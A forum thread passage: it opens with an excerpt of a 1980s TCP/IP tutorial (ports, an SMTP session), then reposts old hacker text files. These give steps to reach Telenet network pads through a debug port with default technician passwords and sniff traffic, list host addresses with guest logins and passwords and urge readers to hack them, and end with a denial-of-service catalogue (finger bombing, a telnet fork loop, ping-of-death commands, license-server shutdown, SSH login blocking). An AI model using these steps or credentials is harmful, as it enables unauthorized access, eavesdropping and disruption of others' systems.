    done by "application protocols". The application protocols run "on
    top" of TCP/IP. That is, when they want to send a message, they give
    the message to TCP. TCP makes sure it gets delivered to the other
    end. Because TCP and IP take care of all the networking details, the
    12



    applications protocols can treat a network connection as if it were a
    simple byte stream, like a terminal or phone line.

    Before going into more details about applications programs, we have to
    describe how you find an application. Suppose you want to send a file
    to a computer whose Internet address is 128.6.4.7. To start the
    process, you need more than just the Internet address. You have to
    connect to the FTP server at the other end. In general, network
    programs are specialized for a specific set of tasks. Most systems
    have separate programs to handle file transfers, remote terminal
    logins, mail, etc. When you connect to 128.6.4.7, you have to specify
    that you want to talk to the FTP server. This is done by having
    "well-known sockets" for each server. Recall that TCP uses port
    numbers to keep track of individual conversations. User programs
    normally use more or less random port numbers. However specific port
    numbers are assigned to the programs that sit waiting for requests.
    For example, if you want to send a file, you will start a program
    called "ftp". It will open a connection using some random number, say
    1234, for the port number on its end. However it will specify port
    number 21 for the other end. This is the official port number for the
    FTP server. Note that there are two different programs involved. You
    run ftp on your side. This is a program designed to accept commands
    from your terminal and pass them on to the other end. The program
    that you talk to on the other machine is the FTP server. It is
    designed to accept commands from the network connection, rather than
    an interactive terminal. There is no need for your program to use a
    well-known socket number for itself. Nobody is trying to find it.
    However the servers have to have well-known numbers, so that people
    can open connections to them and start sending them commands. The
    official port numbers for each program are given in "Assigned
    Numbers".

    Note that a connection is actually described by a set of 4 numbers:
    the Internet address at each end, and the TCP port number at each end.
    Every datagram has all four of those numbers in it. (The Internet
    addresses are in the IP header, and the TCP port numbers are in the
    TCP header.) In order to keep things straight, no two connections can
    have the same set of numbers. However it is enough for any one number
    to be different. For example, it is perfectly possible for two
    different users on a machine to be sending files to the same other
    machine. This could result in connections with the following
    parameters:

    Internet addresses TCP ports
    connection 1 128.6.4.194, 128.6.4.7 1234, 21
    connection 2 128.6.4.194, 128.6.4.7 1235, 21

    Since the same machines are involved, the Internet addresses are the
    same. Since they are both doing file transfers, one end of the
    connection involves the well-known port number for FTP. The only
    thing that differs is the port number for the program that the users
    are running. That's enough of a difference. Generally, at least one
    end of the connection asks the network software to assign it a port
    number that is guaranteed to be unique. Normally, it's the user's
    end, since the server has to use a well-known number.
    13




    Now that we know how to open connections, let's get back to the
    applications programs. As mentioned earlier, once TCP has opened a
    connection, we have something that might as well be a simple wire.
    All the hard parts are handled by TCP and IP. However we still need
    some agreement as to what we send over this connection. In effect
    this is simply an agreement on what set of commands the application
    will understand, and the format in which they are to be sent.
    Generally, what is sent is a combination of commands and data. They
    use context to differentiate. For example, the mail protocol works
    like this: Your mail program opens a connection to the mail server at
    the other end. Your program gives it your machine's name, the sender
    of the message, and the recipients you want it sent to. It then sends
    a command saying that it is starting the message. At that point, the
    other end stops treating what it sees as commands, and starts
    accepting the message. Your end then starts sending the text of the
    message. At the end of the message, a special mark is sent (a dot in
    the first column). After that, both ends understand that your program
    is again sending commands. This is the simplest way to do things, and
    the one that most applications use.

    File transfer is somewhat more complex. The file transfer protocol
    involves two different connections. It starts out just like mail.
    The user's program sends commands like "log me in as this user", "here
    is my password", "send me the file with this name". However once the
    command to send data is sent, a second connection is opened for the
    data itself. It would certainly be possible to send the data on the
    same connection, as mail does. However file transfers often take a
    long time. The designers of the file transfer protocol wanted to
    allow the user to continue issuing commands while the transfer is
    going on. For example, the user might make an inquiry, or he might
    abort the transfer. Thus the designers felt it was best to use a
    separate connection for the data and leave the original command
    connection for commands. (It is also possible to open command
    connections to two different computers, and tell them to send a file
    from one to the other. In that case, the data couldn't go over the
    command connection.)

    Remote terminal connections use another mechanism still. For remote
    logins, there is just one connection. It normally sends data. When
    it is necessary to send a command (e.g. to set the terminal type or to
    change some mode), a special character is used to indicate that the
    next character is a command. If the user happens to type that special
    character as data, two of them are sent.

    We are not going to describe the application protocols in detail in
    this document. It's better to read the RFC's yourself. However there
    are a couple of common conventions used by applications that will be
    described here. First, the common network representation: TCP/IP is
    intended to be usable on any computer. Unfortunately, not all
    computers agree on how data is represented. There are differences in
    character codes (ASCII vs. EBCDIC), in end of line conventions
    (carriage return, line feed, or a representation using counts), and in
    whether terminals expect characters to be sent individually or a line
    at a time. In order to allow computers of different kinds to
    communicate, each applications protocol defines a standard
    14



    representation. Note that TCP and IP do not care about the
    representation. TCP simply sends octets. However the programs at
    both ends have to agree on how the octets are to be interpreted. The
    RFC for each application specifies the standard representation for
    that application. Normally it is "net ASCII". This uses ASCII
    characters, with end of line denoted by a carriage return followed by
    a line feed. For remote login, there is also a definition of a
    "standard terminal", which turns out to be a half-duplex terminal with
    echoing happening on the local machine. Most applications also make
    provisions for the two computers to agree on other representations
    that they may find more convenient. For example, PDP-10's have 36-bit
    words. There is a way that two PDP-10's can agree to send a 36-bit
    binary file. Similarly, two systems that prefer full-duplex terminal
    conversations can agree on that. However each application has a
    standard representation, which every machine must support.



    3.1 An example application: SMTP


    In order to give a bit better idea what is involved in the application
    protocols, I'm going to show an example of SMTP, which is the mail
    protocol. (SMTP is "simple mail transfer protocol.) We assume that a
    computer called TOPAZ.RUTGERS.EDU wants to send the following message.

    Date: Sat, 27 Jun 87 13:26:31 EDT
    From: hedrick@topaz.rutgers.edu
    To: levy@red.rutgers.edu
    Subject: meeting

    Let's get together Monday at 1pm.

    First, note that the format of the message itself is described by an
    Internet standard (RFC 822). The standard specifies the fact that the
    message must be transmitted as net ASCII (i.e. it must be ASCII, with
    carriage return/linefeed to delimit lines). It also describes the
    general structure, as a group of header lines, then a blank line, and
    then the body of the message. Finally, it describes the syntax of the
    header lines in detail. Generally they consist of a keyword and then
    a value.

    Note that the addressee is indicated as LEVY@RED.RUTGERS.EDU.
    Initially, addresses were simply "person at machine". However recent
    standards have made things more flexible. There are now provisions
    for systems to handle other systems' mail. This can allow automatic
    forwarding on behalf of computers not connected to the Internet. It
    can be used to direct mail for a number of systems to one central mail
    server. Indeed there is no requirement that an actual computer by the
    name of RED.RUTGERS.EDU even exist. The name servers could be set up
    so that you mail to department names, and each department's mail is
    routed automatically to an appropriate computer. It is also possible
    that the part before the @ is something other than a user name. It is
    possible for programs to be set up to process mail. There are also
    provisions to handle mailing lists, and generic names such as
    15



    "postmaster" or "operator".

    The way the message is to be sent to another system is described by
    RFC's 821 and 974. The program that is going to be doing the sending
    asks the name server several queries to determine where to route the
    message. The first query is to find out which machines handle mail
    for the name RED.RUTGERS.EDU. In this case, the server replies that
    RED.RUTGERS.EDU handles its own mail. The program then asks for the
    address of RED.RUTGERS.EDU, which is 128.6.4.2. Then the mail program
    opens a TCP connection to port 25 on 128.6.4.2. Port 25 is the
    well-known socket used for receiving mail. Once this connection is
    established, the mail program starts sending commands. Here is a
    typical conversation. Each line is labelled as to whether it is from
    TOPAZ or RED. Note that TOPAZ initiated the connection:

    RED 220 RED.RUTGERS.EDU SMTP Service at 29 Jun 87 05:17:18 EDT
    TOPAZ HELO topaz.rutgers.edu
    RED 250 RED.RUTGERS.EDU - Hello, TOPAZ.RUTGERS.EDU
    TOPAZ MAIL From:<hedrick@topaz.rutgers.edu>
    RED 250 MAIL accepted
    TOPAZ RCPT To:<levy@red.rutgers.edu>
    RED 250 Recipient accepted
    TOPAZ DATA
    RED 354 Start mail input; end with <CRLF>.<CRLF>
    TOPAZ Date: Sat, 27 Jun 87 13:26:31 EDT
    TOPAZ From: hedrick@topaz.rutgers.edu
    TOPAZ To: levy@red.rutgers.edu
    TOPAZ Subject: meeting
    TOPAZ
    TOPAZ Let's get together Monday at 1pm.
    TOPAZ .
    RED 250 OK
    TOPAZ QUIT
    RED 221 RED.RUTGERS.EDU Service closing transmission channel

    First, note that commands all use normal text. This is typical of the
    Internet standards. Many of the protocols use standard ASCII
    commands. This makes it easy to watch what is going on and to
    diagnose problems. For example, the mail program keeps a log of each
    conversation. If something goes wrong, the log file can simply be
    mailed to the postmaster. Since it is normal text, he can see what
    was going on. It also allows a human to interact directly with the
    mail server, for testing. (Some newer protocols are complex enough
    that this is not practical. The commands would have to have a syntax
    that would require a significant parser. Thus there is a tendency for
    newer protocols to use binary formats. Generally they are structured
    like C or Pascal record structures.) Second, note that the responses
    all begin with numbers. This is also typical of Internet protocols.
    The allowable respons

  2. #2
    Senior Member gore's Avatar
    Join Date
    Oct 2002
    Location
    Michigan
    Posts
    7,177
    Part 2:

    Telnet:

    Telenet The Secret Exposed...

    For years, people and myself, have offtend tried to"work telenet unto a coma"..
    With no success, for the past few years, i have gathered data, and finally
    know the system, its faults, capabilities, and errors.
    This really should be in a text file, but. i wish this information to
    be reserved for the few users on this system.

    before i start, here are a few basic commands to get famialir with:

    Execution syntax of command function
    ------------------------------------------------------------------------

    Connect c (sp) Connects to a host (opt)

    Status stat Displays network port add

    Full-Duplex full network echo

    Half-Duplex half Termnial echo

    Mail
    or
    Telemail mail telemail telemail

    set Parmaters set (sp) 2:0,3:2 Select Pad Parameters

    Read Paramaters par? par?(sp)2:0,3:2 display pad

    Set and read
    Paramaters set?(sp)2:0,3:2

    escape escape from data modew

    File Trasnfer dtape Prepares network for bulk

    continue cont

    disconnect bye or d

    hang up hangup

    terminial term(sp)d1 Set TERM

    test

    test(sp)char


    test(sp)echo


    test(sp)triangle


    this is the end of the commands, view next msg for useage:

    Trap and pipe x.25 prot. (telenet)...

    Please note this is a very difficult transaction... The following
    flow chart, will only work on a machine with atleast 10 Mhz..
    However, an account on a unix, with cu capabilities will also work..

    Package networking, is exactly what it means..
    before, i go into detail, let me give you and over view...



    -------------
    Host
    -------------
    !
    !
    !
    !
    -----------------
    telenet, remote
    $ divertor, and
    pacakge.
    ------------------
    !
    !
    ---------------------
    ! ! ! !
    ! ! ! !
    u u u u
    s s s s
    e e e e
    r r r r
    s s s s

    If you notice carefully, there is online to the host and 4 users. That
    is how its packaged, for instance the first 100 mills. will be from user
    on then two etc.. The way telenet can tell which is user is which, is
    simply by the time. Time is of the essense. data is constantly been
    packed, anywhere from 100 mils. to 760 mils. The trick to trap tapping
    and piping, a lead off of telenet, is to have as system running four
    proccewss and the same time, and have a master prgm. that switch's at
    the appropriate delays... As you can see this is where a 10 Mhz +
    system, is needed.

    On the host end.

    The host end consists of three things..

    1) 9600 baud modem

    2) a dedicated telcue line

    3) a network pad..

    I doubt know one needs a lesson on the first two, but lets take a look
    at telenets, "weakest" link..

    Network Pad
    ----------

    There are three types of network pads a 4 pad 12 pad and 32 pad
    They really do not make a diffrence, it only changes the amount
    of users, capable of using on line..

    example. if you have a 4 network pad. you system will be able to handle
    four users from telenet etc...

    The network pad is Such a piece of"**** you have know idea..

    All parameters are set remotly by a telenet eng..

    This is important...

    If the pad is every shutoff all parameters are lost.. and an eng. must
    reload the pad.. (again, this is done remotly)

    to give you a small ifea, of$the amount of programing in thms pad (which
    i might add has over 2 megs of internal RAM) for an eng. to upload it ct
    9600 bps.. it took approx 38 mins.

    The Pad is not a computer, if ytou think about it though, if your
    traveling at 1200 on telenet, your actually travling at 9600 and back to
    1200.. when x.25 is unpacked..

    How is the pad set remotly..

    lets take an example...

    c 2122

    now c 2122 /(?this is an example)

    ha four nodes its a siml divester to the next node. however you can
    specify, the node you want

    c"212.01
    c 212.02
    etc....

    nodes can also"be stated as 2122a is the same as "2122.01
    and 2122.03 is the same as 2122c

    Now that we know how to access the indiv. nodes. let me show you a small
    secret...

    Theres a programing node.. so an eng. can upload, to your network pad..

    every address has it...
    it always ends in 99

    so, if i wanted to trap and tap c 2122

    i would enter c 2122.99

    you would get a connected.. but is you notice nothin happens..

    at this point do not touch any keys.. a wrong key stroke, will
    most likely alert someone to your tampering..
    (dont forget, all network pads have a direct alarm signle.. so follow my
    directions to the t...

    enter in :



    with out a return.. you should get telenet


    if you dont give it a min. then hit return. your actually there. but the
    prompt, just didnt print.. ok..

    Now type

    set 15:0

    when entered.. hold 15 secs.. for a time delay..

    then type in cont

    to continue, with the host you brokg from.....

    you will get a message:

    TP3005 DEBUG PORT V5.37.03
    &gt;



    your now, directly accessed the network pad..


    Please note some of these have passwords:
    However
    if your prompted for a password, of if nothing happens:
    telenet has two standard passwords:
    superman
    represeting a male tech.
    and
    $ wonderwomen
    repre. a woman tech..
    when in your prompt is always a greater than sign:
    &gt;

    type the following:

    7FDS
    HIT RETURN

    youll get a responce: $ E 01

    NOW TYPE IN:
    L7FE,L,A2,R2,D

    then youll get a message: R 00A626 8805

    now enter ing: 40588

    YOUR RESPONCE WILL BE : E 01

    right now you should open at least a 640K buffer.....

    now type in &gt; R0589

    YOU'LL GET A WHOLE LIST OF DATA THAT IS CURRENTLY CROSSING THE PADS
    DUPLEX.
    ONE LINE WILL LOOK LIKE THIS:



    R 00A625 06805FF17068703 1287100230050540 0000000000000000 FF020101000000

    þ"&]%%+f! ! )19AIQYai



    ÿIt seems that not many of you know that Telenet is connected to about 80
    computer-networks in the world. No, I don't mean 80 nodes, but 80 networks
    with thousands of unprotected computers. When you call your local Telenet-
    gateway, you can only call those computers which accept reverse-charging-calls.
    If you want to call computers in foreign countries or computers in USA which
    do not accept R-calls, you need a Telenet-ID. Did you ever notice that you can
    type ID XXXX when being connected to Telenet? You are then asked for the
    password. If you have such a NUI (Network-User-ID) you can call nearly every
    host connected to any computer-network in the world. Here are some examples:
    026245400090184 is a VAX in Germany (Username: DATEXP and leave mail for
    CHRIS !!!)
    0311050500061 is the Los Alamos Integrated computing network (One of the
    hosts connected to it is the DNA (Defense Nuclear Agency)!!!)
    0530197000016 is a BBS in New Zealand
    024050256 is the S-E-Bank in Stockholm, Sweden (Login as GAMES !!!)
    02284681140541 CERN in Geneva in Switzerland (one of the biggest nuclear
    research centers in the world) Login as GUEST
    0234212301161 A Videotex-standard system. Type OPTEL to get in and
    use the ID 999_ with the password 9_
    0242211000001 University of Oslo in Norway (Type LOGIN 17,17 to play
    the Multi-User-Dungeon !)
    0425130000215 Something like ITT Dialcom, but this one is in Israel !
    ID HELP with password HELP works fine with security level 3
    0310600584401 is the Washington Post News Service via Tymnet (Yes, Tymnet
    is connected to Telenet, too !) ID and Password is: PETER
    You can read the news of the next day !

    The prefixes are as follows:
    02624 is Datex-P in Germany
    02342 is PSS in England
    03110 is Telenet in USA
    03106 is Tymnet in USA
    02405 is Telepak in Sweden
    04251 is Isranet in Israel
    02080 is Transpac in France
    02284 is Telepac in Switzerland
    02724 is Eirpac in Ireland
    02704 is Luxpac in Luxembourg
    05252 is Telepac in Singapore
    04408 is Venus-P in Japan
    ...and so on... Some of the countries have more than one packet-switching-
    network (USA has 11, Canada has 3, etc).

    OK. That should be enough for the moment. As you see most of the passwords
    are very simple. This is because they must not have any fear of hackers. Only
    a few German hackers use these networks. Most of the computers are absolutely
    easy to hack !!!
    So, try to find out some Telenet-ID's and leave them here. If you need more
    numbers, leave e-mail.
    I'm calling from Germany via the German Datex-P network, which is similar to
    Telenet. We have a lot of those NUI's for the German network, but none for
    a special Tymnet-outdial-computer in USA, which connects me to any phone #.

    CUL8R, Mad Max

    PS: Call 026245621040000 and type ID INF300 with password DATACOM to get more
    Informations on packet-switching-networks !

    PS2: The new password for the Washington Post is KING !!!!

    Distributed in part by:

    Skeleton Crue xxx-xxx-xxxx located out of Moraga, California.
    !!Get on the band wagon before it RUNS YOU DOWN!!
    The very LAST bastion of Abusive Thought in all of the Suburbian West Coast...
    (CH&AOS)

    More Telnet information: :

    The Basics of TELENET
    Part I

    This Bulletin is the first in a series to cover the general procedures of the
    major data networks:

    Telenet
    Tymnet
    Autonet
    Arpanet
    [More to be added]


    BACKGROUND
    ----------
    Telenet connects many large computers to itself through dedicated telephone
    lines, each of these 'host computers' is assigned a node address(ie.:NPAxx).
    Telenet is an international data network, connecting to computers around the
    world.See the International telenet bulletin for more on this.

    CONNECTING
    ----------
    Telenet is probably the most 'user friendly' network of the four listed. A
    normal logon looks like this: [NPA=Area code,xx=node address] You hit &lt;CR&gt;
    &lt;CR&gt; [2 Returns] Telenet respnds with:TELENET NPAxx

    TERMINAL=(Here you type your terminal identifier) (See the bulletin section for
    the list)

    @

    The '@' is Telenet's promt to you to go ahead.

    Things to do on telenet
    -----------------------
    To connect to a node type:
    @C NPAxx
    Telenet will atempt to connect to the computer at the node given.
    A few of the things that Telenet will say are:


    NPAxx CONNECTED (You are connected to a computer)
    ILLEGAL ADDRESS (Not a working node)
    NPAxx NOT REACHABLE (The computer at that node is 'DOWN')
    NPAxx REFUSED COLLECT CONNECTION(Needs a paid ID [More later]
    NPAxx REJECTING (Computer is 'UP' but not available)
    NPAxx NOT RESPONDING (The computer at that node is 'DOWN')

    These are most of the things that Telenet will tell you

    MORE THINGS TO DO
    -----------------
    Typing an @ while in a host computer will return you to Telenet You will
    still be connected to the other computer, you may: D (to disconnect from that
    computer) or TAPE (Unknown, possibly records your actions so that) (you may
    look at them later)

    If you type either of the above, while not connected to a node telenet will
    respond with NOT CONNECTED

    MISC.
    -----
    RESET (Returns Telenet to the beggining,you must start again (with the
    &lt;CR&gt;&lt;CR&gt;)

    SET (Unknown)

    MAIL (To connect to GTE Telemail) It will ask for User? and Password?


    NOTES
    -----

    In addition to the normal area codes in NPAxx there are also other NPA's used
    in Telenet, 909 and 311, for instance.

    Telenet hangs up after three disconnections from host computers, this
    unfortunately is quite a PAIN in the ___ There is no way to get around this as
    far as I can tell.

    The ID command in Telenet is to Identify users to the host computers. You
    must type ID (your ID#) (your password). If you just type ID, telenet will
    tell you that your ID is cleared, which means nothing. To recieve a paid user
    ID on telenet call them at: Telenet customer service:800-336-0437 800-572-
    0408(In Virginia)


    HACKING
    -------
    Telenet is very convinient for hackers as it connects many computers to your
    terminal, without having to find and dial many numbers. Start your Telehacking
    by picking an areacode and then trying all the nodes in that NPA. You will no
    doubt find many interesting computers 'to work on'.

    Here are instructions for using TELENET. There are some very basic things,
    which most people already know, and some other things, which even the most
    dedicated hackers have probably never even heard of. This includes things such
    as international access, etc. Well, have fun.


    THE TELENET CONNECTION
    INTERNATIONAL ADDRESSING/INTERNATIONAL ACCESS PROCEDURES


    I. TELENET INTERNATIONAL ADDRESS FORMAT

    ---------------------------- Data Network
    | Identification Code (DNIC)
    |
    |
    |
    | ------------------- Area Code
    | |
    | |
    | | ------------- DTE Address
    | | |
    | | | ----- Port Address
    | | | |
    | | | |
    DDDD AAA HHHHH PP
    |
    ----- Optional Subaddress
    Field for Packet Mode DTE


    Example: Telenet International
    ------- -------------
    212 141 3110 21200141
    909 84 3110 90900084



    II. ACCESS TO OVERSEAS PUBLIC DATA NETWORKS

    1. Turn on the terminal and coupler.
    2. Dial the nearest Telenet access number (See Telenet Public Dial listing).
    When you hear a high-pitched tone, place the telephone
    receiver in the coupler.

    For Data Sets (Bell 103 or 113 type), depress the data button.

    3. Type Two carriage returns (CR).
    4. Telenet will give you a port identification number and ask you
    to identify your terminal type in the two or four
    character id for your terminal followed by a carriage
    return (CR) or type carriage return (CR).

    (EX.) TELENET
    202 DL9
    TERMINAL = AJ63(CR)

    5. After Telenet prompts with a '@' type 'ID', skip a space (SP)
    and type your password followed by a carriage return. (Contact
    your GTE Telenet Representative to obtain a required caller
    paid ID.)

    (EX.) @ID(SP);INTL(CR)

    Type in your password.

    (EX.) PASSWORD = 123456(CR)

    6. After Telenet prompts with an @, type a C. skip a space and
    type the network address of the computer you wish to access,
    followed by a carriage return (CR).

    (EX.) @C(SP)023411234567890(CR)

    Note: Your International address will follow a format such as:

    020801234567890 for France/Transpac
    023421234567890 for United Kingdom/British Telecom
    026241234567890 for Germany/Datex-P

    7. Telenet will respond with a connection message. You are now
    ready to begin your conversation with the host computer.

    (EX.) (ADDRESS)CONNECTED

    8. To disconnect from your computer, log off as usual. Telenet
    will send you a disconnected message.

    (EX.) (ADDRESS)DISCONNECTED

    Hang up to disconnect from Telenet.

    (CR) = Carriage return
    (SP) = Space

    ___________________________________________________________________________

    Finger:

    ATTACKING FROM THE OUTSIDE
    by http://www.student.tdb.uu.se/~t95hhu...e/outside.html


    TAKING ADVANTAGE OF FINGER

    Most fingerd installations support redirections to another host.

    Ex: $finger @system.two.com@system.one.com


    finger will in the example go through system.one.com and on to system.two.com.
    As far as system.two.com knows it is system.one.com who is fingering. So this method can be
    used for hiding, but also for a very dirty denial of service attack. Lock at this:

    $ finger @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@host.we.attack


    All those @ signs will get finger to finger host.we.attack again and again and again... The
    effect on host.we.attack is powerful and the result is high bandwidth, short free memory and a
    hard disk with less free space, due to all child processes.

    The solution is to install a fingerd which don't support redirections, for example GNU finger.
    You could also turn the finger service off.

    UDP AND SUNOS 4.1.3.

    SunOS 4.1.3. is known to boot if a packet with incorrect information in the header is sent to
    it. This is the cause if the ip_options indicate a wrong size of the packet.

    The solution is to install the proper patch.

    FREEZING UP X-WINDOWS

    If a host accepts a telnet session to the X-Windows port (generally somewhere between 6000 and
    6025. In most cases 6000) could that be used to freeze up the X-Windows system. This can be
    made with multiple telnet connections to the port or with a program which sends multiple
    XOpenDisplay() to the port.

    The same thing can happen to Motif or Open Windows.

    The solution is to deny connections to the X-Windows port.

    MALICIOUS USE OF UDP SERVICES

    It is simple to get UDP services (echo, time, daytime, chargen) to loop, due to trivial
    IP-spoofing. The effect can be high bandwidth that causes the network to become useless. In the
    example the header claim that the packet came from 127.0.0.1 (loopback) and the target is the
    echo port at system.we.attack. As far as system.we.attack knows is 127.0.0.1 system.we.attack
    and the loop has been establish.

    Ex: from-IP=127.0.0.1

    to-IP=system.we.attack

    Packet type:UDP

    from UDP port 7

    to UDP port 7


    Note that the name system.we.attack looks like a DNS-name, but the target should always be
    represented by the IP-number.

    Quoted from proberts@clark.net (Paul D. Robertson) comment on comp.security.firewalls on matter
    of "Introduction to denial of service" A great deal of systems don't put loopback on the wire,
    and simply emulate it. Therefore, this attack will only effect that machine in some cases. It's
    much better to use the address of a different machine on the same network. Again, the default
    services should be disabled in inetd.conf. Other than some hacks for mainframe IP stacks that
    don't support ICMP, the echo service isn't used by many legitimate programs, and TCP echo
    should be used instead of UDP where it is necessary.

    ATTACKING WITH LYNX CLIENTS

    A World Wide Web server will fork an httpd process as a respond to a request from a client,
    typical Netscape or Mosaic. The process lasts for less than one second and the load will
    therefore never show up if someone uses ps. In most causes it is therefore very safe to launch
    a denial of service attack that makes use of multiple W3 clients, typical lynx clients.
    But note that the netstat command can be used to detect the attack (thanks to Paul D. Robertson).

    Some httpd:s (for example some http-gw) will have problems besides the normal high bandwidth,
    low memory... And the attack can in those causes get the server to loop.

    MALICIOUS USE OF telnet

    Study this little script:

    Ex: while : ; do

    telnet system.we.attack &

    done


    An attack using this script might eat some bandwidth, but it is nothing compared to the finger
    method or most other methods. Well the point is that some pretty firewalls and httpd:s thinks
    that the attack is a loop and turn them self down, until the administrator sends kill -HUP.

    This is a simple high risk vulnerability that should be checked and if present fixed.

    MALICIOUS USE OF telnet UNDER SOLARIS 2.4

    If the attacker makes a telnet connections to the Solaris 2.4 host and quits using:

    Ex: Control-}

    quit


    then will inetd keep going "forever". Well a couple of hundred...

    The solution is to install the proper patch.

    HOW TO DISABLE ACCOUNTS

    Some systems disable an account after N number of bad logins, or waits N seconds. You can use
    this feature to lock out specific users from the system.

    LINUX AND TCP TIME, DAYTIME

    Inetd under Linux is known to crash if to many SYN packets sends to daytime (port 13)
    and/or time (port 37).

    The solution is to install the proper patch.

    HOW TO DISABLE SERVICES

    Most Unix systems disable a service after that N sessions have been open in a given time.
    Well most systems have a reasonable default (lets say 800 - 1000), but not some SunOS systems
    that have the default set to 48...

    The solutions is to set the number to something reasonable.

    PARAGON OS BETA R1.4

    Paragon is Intels supercomputer platform built for high performance scientific and technical
    computing. If someone redirects an ICMP (Internet Control Message Protocol) packet to a paragon
    OS beta R1.4 will the machine freeze up and must be rebooted. An ICMP redirect tells the system
    to override routing tables. Routers use this to tell the host that it is sending to the wrong
    router.

    The solution is to install the proper patch.

    NOVELLS NETWARE FTP

    Novells Netware FTP server is known to get short of memory if multiple ftp sessions connects
    to it, causing it to crash. About 5 at a time - 100 sessions total within a short period of
    time, could do the trick.

    ICMP ATTACKS

    Gateways uses ICMP redirect to tell the system to override routing tables, that is telling the
    system to take a better way. To be able to misuse ICMP redirection we must know an existing
    connection If we have found a connection we can send a route that loses it connectivity or we
    could send false messages to the host.

    One could also send spoofed ICMP Source Quench messages, this could slow down the conncection.


    Ex: (false messages to send)

    DESTINATION UNREACHABLE
    TIME TO LIVE EXCEEDED
    PARAMETER PROBLEM
    PACKET TOO BIG

    The effect of such messages is a reset of the connection.

    The solution could be to turn ICMP redirects off, not much proper use of the service.

    BROADCAST STORMS

    This is a very popular method in networks there all of the hosts are acting as gateways.

    There are many versions of the attack, but the basic method is to send a lot of packets to all
    hosts in the network with a destination that don't exist. Each host will try to forward each
    packet so the packets will bounce around for a long time. And if new packets keep coming the
    network will soon be in trouble.

    Services that can be misused as tools in this kind of attack is for example ping, finger and
    sendmail. But most services can be misused in some way or another.

    EMAIL BOMBING AND SPAMMING

    In a email bombing attack the attacker will repeatedly send identical email messages to an
    address. The effect on the target is high bandwidth, a hard disk with less space and so on...
    Email spamming is about sending mail to all (or rather many) of the users of a system. The point
    of using spamming instead of bombing is that some users will try to send a replay and
    if the address is false will the mail bounce back. In that cause have one mail transformed to
    three mails. The effect on the bandwidth is obvious.

    TIME AND KERBEROS

    If not the the source and target machine is closely aligned will the ticket be rejected, that
    means that if not the protocol that set the time is protected it will be possible to set a
    kerberos server off function.

    SUNOS KERNEL PANIC

    Some SunOS systems (running TIS?) will get a kernel panic if a getsockopt() is done after
    that a connection has been reset.

    HOSTILE APPLETS

    A hostile applet is any applet that attempts to use your system in an inappropriate manner.
    The problems in the java language could be sorted in two main groups:



    1) Problems due to bugs.

    2) Problems due to features in the language.


    In group one we have for example the java bytecode verifier bug, which makes is possible for
    an applet to execute any command that the user can execute.

    Note that two other bugs could be found in group one, but they are both fixed in Netscape 2.01
    and JDK 1.0.1.

    Group two are more interesting and one large problem found is the fact that java can connect
    to the ports. Meaning that all the methods described in .C.X. can be performed by an applet.
    More information and examples could be found at address
    http://www.math.gatech.edu/~mladue/HostileArticle.html

    If you need a high level of security you should use some sort of firewall for protection against
    java. As a user you could have java disable.

    ANONYMOUS FTP ABUSE

    If an anonymous FTP archive have a writable area it could be misused for a denial of service
    attack similar with with .D.3. That is we can fill up the file system.

    Also can a host get temporarily unusable by massive numbers of FTP requests.

    SYN FLOODING

    Both 2600 and Phrack have posted information about the syn flooding attack. 2600 have also
    posted exploit code for the attack.

    As we know the syn packet is used in the 3-way handshake. The syn flooding attack is based on
    an incomplete handshake. That is the attacker host will send a flood of syn packet but will not
    respond with an ACK packet. The TCP/IP stack will wait a certain amount of time before dropping
    the connection, a syn flooding attack will therefore keep the syn_received connection queue of
    the target machine filled.

    PING FLOODING

    The impact of ping flooding is big. Under Unix we could try something like: ping -s host to
    send 64 bytes packets.

    If you have Windows 95, click the start button, select RUN, then type in:
    PING -T -L 256 xxx.xxx.xxx.xx. Start about 15 sessions.

    In section xxxxxxxxxxxxxxxxxxxxxxxxxxxxx you can find information about a ping-flooding-gun.

    Under Unix the -f switch could be of use.

    CRASHING SYSTEMS WITH PING FROM WINDOWS 95 MACHINES

    If someone can ping your machine from a Windows 95 machine he or she might reboot, freeze or
    crash your machine. The attacker simply writes:

    ping -l 65510 address.to.the.machine


    And the machine will freeze or reboot.

    A very good page about the problem and with a long list of affected systems can be found at
    address http://www.sophist.demon.co.uk/ping/

    The page is maintained by Mr Mike Bremford.

    MALICIOUS USE OF SUBNET MASK REPLY MESSAGE

    The subnet mask reply message is used under the reboot, but some hosts are known to accept the
    message any time without any check. If so all communication to or from the host can be
    turned off.

    The host should not accept the message any time but under the reboot.

    FLEXlm

    Any host running FLEXlm can get the FLEXlm license manager daemon on any network to shutdown
    using the FLEXlm lmdown command.



    # lmdown -c /etc/licence.dat

    lmdown - Copyright (C) 1989, 1991 Highland Software, Inc.



    Shutting down FLEXlm on nodes: xxx

    Are you sure? [y/n]: y

    Shut down node xxx

    #


    BOOTING WITH TRIVIAL FTP

    To boot diskless workstations one often use trivial ftp with rarp or bootp. If not protected an
    attacker can use tftp to boot the host.

    ATTACKING USENET

    It can be possible to cancel some ones else's article, destroy newsgroups and sending false
    postings to Usenet. Fore more information about this see the FAQ:alt.2600 question 15.

    ATTACKING NAME SERVERS

    The name server is the program that holds the information about the domain and answers
    questions. The part of the domain name space that the name server holds is referred to as
    a zone.

    The name server is seldom the only one, it is a to important service. Instead can at least two
    be found, the primary master and the secondary master. However can not to many secondary
    masters exist (10 ?). The secondary master provides a backup to the primary.

    Every time the name server makes a request it collects and store information and next time if
    another query is made for the information, it already have it in the cache.

    An attack at the name server could have a very big impact. Many servers depends heavily on
    proper working name servers, for example: rlogin, rsh, rcp, xhost, NFS, smtp, ftp...

    To attack the name server could we of course use any method described in this paper, but the
    machine running the name server seldom do anything except DNS-work. The DNS-server is also very
    important and have had several security problems that are well known. Because of these reasons
    will the DNS-server most likely be well protected and other services beside DNS will probably
    not exist (although ping flooding could be a threat if not a firewall that filters ping from
    the outside exist). The attack that are left is to attack the service it self at port 53.
    We could for example:

    Send random garbage to it.
    Send true queries to it.
    Use syn flooding.

    Alternative two should be the most effective one, because it will do every thing that
    alternative one do and beside that keep the service program it self busy looking up DNS-names.
    Putting together a long random list with DNS-name will also contain mostly addresses outside
    the zone, making the name server to try querying other name servers.

    SSH AND PPP

    If a PPP connection is made via SSH drops, all processes controlled by it can get zombied out.
    The processes can not be killed with a kill -9 -1. To get rid of the zombies kill sshd.

    LOGIN VIA SSH

    Ssh can be used to block login. Force sshd to ask for password during login. Connect to the
    system but do not give the password. Until you have given the password no one else will be
    able to login.

    This is a matter of configuration.

    BIND

    Telnet to port 53 on a host running BIND-4.9.5-P1. Enter something for example abcdef, but if
